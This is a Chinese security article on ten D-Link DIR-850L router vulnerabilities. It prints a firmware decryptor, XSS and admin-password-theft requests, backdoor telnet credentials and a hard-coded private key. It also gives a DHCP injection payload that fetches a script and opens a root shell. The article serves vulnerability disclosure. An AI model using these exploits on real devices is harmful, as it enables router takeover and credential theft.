分类: 安全文库

  • D-link 10个0Day漏洞分析(附细节)

    安全研究人员Pierre Kim日前披露D-Link DIR 850LAC1200型双频千兆云路由器被曝10个安全问题,包括XSS攻击,缺乏应有的固件保护,后门和root提权等。这10个安全问题分别是:

    Firmware。对firmware缺乏足够的安全保护。 XSS漏洞。攻击者可以利用XSS攻击来获取已认证用户的认证cookie。

    Retrieving admin password。攻击者可以提取admin的口令,利用MyDlink云协议添加攻击者帐号到路由器,来获取路由器的控制权;

    Weak Cloud protocol。MyDlink协议基于TCP,路由器和MyDlink账户之间的通信没有加密

    Backdoor access。存在后门,攻击者可以获取root权限。

    Stunnel private keys。加密私钥硬编码在固件中,攻击者提取后可以执行中间人攻击。

    Nonce bruteforcing for DNS configuration。攻击者可以通过非认证的HTTP请求,转发流量等方式改变路由器的DNS配置。

    Weak files permission and credentials stored in cleartext。路由器明文保存证书信息。

    Pre-Auth RCEs as root (L2)。DHCP客户端存在被命令注入的可能,攻击者可以用来获取设备的root权限。

    DoS against some daemons。攻击者可以远程攻击路由器上运行的守护进程和服务。

    以上漏洞存在于Dlink 850L revA(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)和Dlink 850L revB(DIR850LB1_FW207WWb05.bin)中的至少一个固件中。

    Dlink 850L的最新固件镜像revA (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)未进行保护,攻击者可以伪造一个新的固件镜像。

    Dlink 850L的最新固件revB (DIR850LB1_FW207WWb05.bin,DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1 FW208WWb02.bin)用硬编码密码进行保护的。

    研究者用下面的程序来解密固件镜像。

    /*   * Simple tool to decrypt D-LINK DIR-850L REVB firmwares   *  * $ gcc -o revbdec revbdec.c  * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted  */  #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h>  #define USAGE "Usage: decimg <filename> <key>/n"  int main(int    argc,          char   **argv) {         int     i, fi;         int     fo = STDOUT_FILENO, fe = STDERR_FILENO;          if (argc != 3)         {                 write(fe, USAGE, strlen(USAGE));                 return (EXIT_FAILURE);         }          if ((fi = open(argv[1], O_RDONLY)) == -1)         {                 perror("open");                 write(fe, USAGE, strlen(USAGE));                 return (EXIT_FAILURE);         }          const char *key = argv[2];         int kl = strlen(key);          i = 0;         while (1)         {                 char buffer[4096];                 int j, len;                 len = read(fi, buffer, 4096);                 if (len <= 0)                         break;                 for (j = 0; j < len; j++) {                         buffer[j] ^= (i + j) % 0xFB + 1;                         buffer[j] ^= key[(i + j) % kl];                 }                 write(fo, buffer, len);                 i += len;         }         return (EXIT_SUCCESS); } 
    user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted  DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1" 593           0x251           LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes 10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes 1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes 1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29 

    通过以上我们可以发现,并没有对固件镜像进行保护。

    下面披露上面提到漏洞的相关细节。

    XSS漏洞细节

    通过分析/htdocs/web文件夹下的php文件,我们可以发现XSS漏洞的细节。

    攻击者通过XSS漏洞来写去认证用户的认证cookies。

    /htdocs/web/wpsacts.php文件:

    user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php <?xml version="1.0" encoding="utf-8"?> <wpsreport>         <action><a></action>         <result></result>         <reason></reason> </wpsreport>  user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php [..] <wpsreport>         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/shareport.php文件中的XSS代码:

    [...]          <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/sitesurvey.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/wandetect.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    /htdocs/web/wpsacts.php文件中的XSS代码:

    [...]         <action><?echo $_POST["action"];?></action> [...] 

    Retrieving admin password细节

    网页 http://ip_of_router/register_send.php 并不对用户进行认证,攻击者可以利用该网页的漏洞获取设备的控制权。

    攻击场景:

    攻击者可以用 /register_send.php 页面进行以下操作:

    创建MyDlink Cloud账户;

    利用创建的账户登入设备;

    把设备加入账户中。

    攻击场景重现:

    用页面 http://ip_of_router/register_send.php 作为攻击者和远程Dlink API之间的接口。该页面可以提取明文保存的用户口令。

    $devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password $action = $_POST["act"];                                 of the device 

    178 //sign up 179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 182  183 $post_url_signup = "/signin/"; 184  185 $action_signup = "signup"; 186  187 //sign in        188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 190  191 $post_url_signin = "/account/?signin"; 192  193 $action_signin = "signin"; 194  195 //add dev (bind device) 196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 198  199 $post_url_adddev = "/account/?add"; 200  201 $action_adddev = "adddev"; 202  203 //main start 204 if($action == $action_signup)                    <---- first request 205 { 206         $post_str = $post_str_signup; 207         $post_url = $post_url_signup; 208         $withcookie = "";   //signup dont need cookie info 209 } 210 else if($action == $action_signin)               <---- second request 211 { 212         $post_str = $post_str_signin; 213         $post_url = $post_url_signin; 214         $withcookie = "/r/nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;"; 215 } 216 else if($action == $action_adddev)               <---- 3rd request 217 { 218         $post_str = $post_str_adddev; 219         $post_url = $post_url_adddev; 220 } 

    向路由器发送3个HTTP请求来利用该漏洞:

    第一个请求 (signup)会在MyDlink服务上创建一个用户:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php  <?xml version="1.0"?> <register_send>    <result>success</result>    <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给MyDlink Cloud APIs:

    179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 

    第二个请求 (signin)路由器会将该账户与新创建的用户相关联,但不激活:

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php  <?xml version="1.0"?> <register_send>   <result>success</result>   <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给 MyDlink Cloud APIs:

    188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 

    第三个请求是把设备和dlink服务相管理,并发送设备口令给远程API。

    user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php  <?xml version="1.0"?> <register_send>   <result>success</result>   <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

    该请求被发送给 MyDlink Cloud APIs:

    196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 

    用注册的邮箱和口令登录 http://mydlink.com/,登录后看到的通用管理选项:

    D-link 10个0Day漏洞分析(附细节)

    D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)

    通过分析这些HTTP请求,我们可以获取目标路由器的信息。

    D-link 10个0Day漏洞分析(附细节)

    PUT (PUT IDENTIFIER_OF_THE_ROUTER)命令提供了该设备的明文口令。

    D-lin
k 10个0Day漏洞分析(附细节)

    这张图的最后是一个 GET 请求

    https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN 

    POST数据:

    {"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]} 

    回应是明文(含有设备口令):

    {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

    GET 请求可以用来提取口令:

    D-link 10个0Day漏洞分析(附细节)

    GET请求:

    GET https://eu.mydlink.com/device/devices/DEVICEID?=RANDOM_NUMBER&access_token=ACCESS_TOKEN HTTP/1.1

    回应是一样的,之前的明文口令和新的口令(admin口令):

    {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

    最后一个请求是询问关于浏览器和远程路由器之间的通道的:

    D-link 10个0Day漏洞分析(附细节)

    发送给 /tssm/tssml.php 的请求请求远程云平台转发留到到设备号3XXXXXXX的设备。攻击者可以通过云平台获取新建立的TCP通道的信息:

    https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE

    监听 127.0.0.1:50453/tcp (HTTP) 和 127.0.0.1:50454/tcp (HTTP over SSL):

    D-link 10个0Day漏洞分析(附细节)

    访问 http://127.0.0.1:50453/。 我们发现流量通过云协议被发送到远程路由器。

    D-link 10个0Day漏洞分析(附细节)

    利用该泄露的口令,攻击者可以黑掉路由器,并把该路由器的固件更新为留有后门的固件。

    D-link 10个0Day漏洞分析(附细节)

    Weak Cloud protocol

    ​MyDlink Cloud协议没有加密机制,只使用了基本的TCP中继系统。所有的TCP流量都没有进行适当的加密。

    理想状态下,用户可以利用rgbin来修改设备的MAC地址:

    # /usr/sbin/devdata dump # will dump all the configuration # /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface

    该程序只覆写 /dev/mtdblock/4 的文件

    该漏洞会影响DLINK的支持MyDlink cloud protocol的NAS,路由器,摄像头等。

    ​ wireshark抓包(明文和自签名流量) :

    D-link 10个0Day漏洞分析(附细节)D-link 10个0Day漏洞分析(附细节)

    Backdoor access细节

    revB镜像中,如果重设设备, /etc/init0.d/S80mfcd.sh init脚本 mfcd 开始运行:

    mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
    user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh #!/bin/sh echo [$0]: $1 ... > /dev/console orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`  entn=`devdata get -e ALWAYS_TN` if [ "$1" = "start" ] && [ "$entn" = "1" ]; then         mfcd -i br0 -t 99999999999999999999999999999 &         exit fi  if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then          if [ -f "/usr/sbin/login" ]; then                 image_sign=`cat /etc/config/image_sign`                 mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &         else                 mfcd &         fi  else         killall mfcd fi

    攻击者可以获取设备的root shell权限:

    user@kali:~/petage-dlink$ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. Login: Alphanetworks Password: wrgac25_dlink.2013gui_dir850l   BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # echo what what #

    Stunnel private keys细节

    密钥通过硬编码方式保存在固件中。管理通过HTTPS方式,攻击者可以发起SSL中间人攻击。细节如下:

    # ls -la /etc/stunnel.key -rwxr-xr-x    1 root     root         1679 Jan 20  2017 /etc/stunnel.key # cat /etc/stunnel.key -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+ uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS 3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1 t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1 CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2 a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/ I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/ C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ 1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg== -----END RSA PRIVATE KEY----- # cat /etc/stunnel_cert.pem Certificate: Data:     Version: 3 (0x2)     Serial Number:         87:6f:88:76:87:df:e7:78     Signature Algorithm: sha1WithRSAEncryption     Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost     Validity         Not Before: Feb 22 06:04:36 2012 GMT         Not After : Feb 17 06:04:36 2032 GMT     Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost     Subject Public Key Info:         Public Key Algorithm: rsaEncryption             Public-Key: (2048 bit)             Modulus:                 00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3:                 fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62:                 35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c:                 c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa:                 79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4:                 44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d:                 e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89:                 15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c:                 ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5:                 4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb:                 9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf:                 19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9:                 84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53:                 01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d:                 9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45:                 98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02:                 ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed:                 7b:eb             Exponent: 65537 (0x10001)     X509v3 extensions:         X509v3 Basic Constraints:              CA:FALSE         Netscape Comment:              OpenSSL Generated Certificate         X509v3 Subject Key Identifier:              B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01         X509v3 Authority Key Identifier:              keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2  Signature Algorithm: sha1WithRSAEncryption     3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61:     88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c:     21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27:     e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43:     ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88:     fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d:     12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4:     e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14:     49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b:     03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f:     8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad:     71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8:     88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42:     b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01:     7e:d3:01:13 -----BEGIN CERTIFICATE----- MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0 MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD /pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv
     ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D 9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q 7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz 0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2 84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj 346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK L0K03Bik6/rxBA6n4v9drM1hKAF+0wET -----END CERTIFICATE-----

    Nonce bruteforcing for DNS configuration细节

    htdocs/parentalcontrols/bind.php 文件可以更改DNS配置信息,并不检查管理用户的认证状态。因为对HTTP请求没有限制和认证,攻击者可以采取暴力方式破解nonce。

    8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;   9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")  10 {  11         $Response="BindError";  12 }  13 else if(query("/runtime/device/uptime") > $uptime_limit)  14 {  15         $Response="BindTimeout";  16 }

    攻击者定义新的DNS服务器:

     21         set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);  22         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);  23         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);

    攻击者可以用vuln来转发流量到自己控制的服务器。

    Weak files permission and credentials stored in cleartext细节

    一些文件权限较弱:

    1. /var/passwd

    /var/passwd 明文保存用户证书,而该文件权限是-rw-rw-rw- (666)

    # ls -la /var/passwd -rw-rw-rw-    1 root     root           28 Jan  1 00:00 /var/passwd # cat /var/passwd "Admin" "password" "0"

    2. /var/etc/hnapasswd

    攻击者也可以利用 /var/etc/hnapasswd 提取明文的密码,/var/etc/hnapasswd 文件权限也是-rw-rw-rw- (666)

    # cat /var/etc/hnapasswd Admin:password
    # ls -la /var/etc/hnapasswd -rw-rw-rw-    1 root     root           20 Jan  1 00:00 /var/etc/hnapasswd

    3. /etc/shadow

    /etc/shadow 的权限是rwxrwxrwx777)

    # ls -al /etc/shadow  lrwxrwxrwx    1 root     root           15 Jan 20  2017 /etc/shadow -> /var/etc/shadow # ls -la /var/etc/shadow -rw-r--r--    1 root     root           93 Jan  1 00:00 /var/etc/shadow

    /var/etc/shadow 内有管理用户的DES哈希值。

    # cat /var/etc/shadow root:!:10956:0:99999:7::: nobody:!:10956:0:99999:7::: Admin:zVc1PPVw2VWMc:10956:0:99999:7:::

    4. /var/run/storage_account_root

    /var/run/storage_account_root 含有明文证书。

    /var/passwd 文件权限是 -rw-rw-rw- (666)

    # ls -la /var/run/storage_account_root -rw-rw-rw-    1 root     root           40 Jan  1 00:00 /var/run/storage_account_root # cat /var/run/storage_account_root admin:password,::: jean-claude:dusse,:::

    5. /var/run/hostapd*

    /var/run/hostapd* 含有 明文的无线密码,文件权限是-rw-rw-rw- (666)

    # ls -la /var/run/hostapd* -rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan1wps.eap_user -rw-rw-rw-    1 root     root         1160 Jan  1 00:00 /var/run/hostapd-wlan1.conf -rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan0wps.eap_user -rw-rw-rw-    1 root     root         1170 Jan  1 00:00 /var/run/hostapd-wlan0.conf # cat /var/run/hostapd*|grep -i pass wpa_passphrase=aaaaa00000 wpa_passphrase=aaaaa00000

    Pre-Auth RCEs as root (L2)细节

    路由器上的DHCP客户端易受到命令注入攻击。

    dhcpd.conf文件:

    rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;"; option domain-name-servers 8.8.8.8, 8.8.4.4; default-lease-time 600; max-lease-time 7200; ddns-update-style none; subnet 10.254.239.0 netmask 255.255.255.224 {   range 10.254.239.10 10.254.239.20;   option routers 10.254.239.1; } rasp-pwn-dlink# ifconfig eth1 eth1
       Link encap:Ethernet  HWaddr 00:0e:c6:aa:aa:aa             inet addr:10.254.239.1  Bcast:10.254.239.255  Mask:255.255.255.0           inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:129 errors:0 dropped:0 overruns:0 frame:0           TX packets:107 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            RX bytes:11181 (10.9 KiB)  TX bytes:49155 (48.0 KiB)  rasp-pwn-dlink# cat /var/www/html/dhcp-rce  #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10 done ) &  /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &  rasp-pwn-dlink# dhcpd eth1 Internet Systems Consortium DHCP Server 4.3.1 Copyright 2004-2014 Internet Systems Consortium. All rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Config file: /etc/dhcp/dhcpd.conf Database file: /var/lib/dhcp/dhcpd.leases PID file: /var/run/dhcpd.pid Wrote 1 leases to leases file. Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   